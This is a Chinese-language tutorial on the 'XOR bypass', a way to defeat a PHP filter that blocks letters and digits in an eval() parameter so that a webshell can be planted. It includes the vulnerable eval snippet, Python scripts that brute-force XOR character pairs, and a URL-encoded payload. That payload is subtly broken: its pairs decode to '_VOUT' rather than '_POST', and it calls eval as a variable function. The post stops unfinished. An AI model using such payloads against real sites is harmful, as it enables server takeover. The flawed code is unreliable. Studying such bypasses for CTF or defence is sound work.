异或绕过
接上篇正则表达式,如果出现这样的正则:
if (!preg_match('/[a-z 0-9]/is',$_GET['a'])) {
eval($_GET['a']);
}
else{
echo "hacker";
}
即get传参的a变量中不能有数字和字母,但如果想拿到shell就要传入类似eval($_POST[‘shell’])的语句,但这时字母被禁,只能通过其他方式来构造类似的语句,这里就可以用异或规则来绕过。
先介绍下什么是异或,举个例子:
字符:? ASCII码:63 二进制: 0011 1111
字符:~ ASCII码:126 二进制: 0111 1110
异或规则:
1 XOR 0 = 1
0 XOR 1 = 1
0 XOR 0 = 0
1 XOR 1 = 0
上述两个字符异或得到 二进制: 0100 0001
该二进制的十进制也就是:65
对应的ASCII码是:A
但如何构造eval($_POST[‘shell’])呢?
这里写了个脚本fuzz一下:
#-*-coding:utf-8-*-
def xor():
for i in range(0,127):
for j in range(0,127):
result=i^j
print("字符:"+chr(i)+" ASCII码值为:"+str(i)+"异或"+"字符:"+chr(j)+" ASCII码值为:"+str(j)+" == ""字符:"+chr(result)+" ASCII码值为:"+str(result))
if __name__=="__main__":
xor()
运行结果如下:
构造payload:
贴段代码,用来查找哪两个字符可以异或成对应的字母
#-*-coding:utf-8-*-
def xor():
for i in range(0,127):
for j in range(0,127):
result=i^j
if chr(result)=="v":
print("字符:"+chr(i)+" ASCII码值为:"+str(i)+"异或"+"字符:"+chr(j)+" ASCII码值为:"+str(j)+" == ""字符:"+chr(result)+" ASCII码值为:"+str(result))
if __name__=="__main__":
xor()
找如下图类似的两个字符
<?php
$a=(''^'`').(''^'`').(''^'`').(''^'`');
echo $a;
$b='_'.(''^'[').('/'^'`').(''^'[').(' '^']');
echo $b;
//$c=$$b;
//echo $c;
//echo $a($c[_]);
?>
不可见字符,可以用url编码代替
构造的payload如下:
$a=('%05'^'`').('%16'^'`').('%01'^'`').('%0C'^'`');$b='_'.('%0D'^'[').('%2F'^'`').('%0E'^'[').('%09'^']');$c=$$b;$a($c[_]);
后面有时间再写QAQ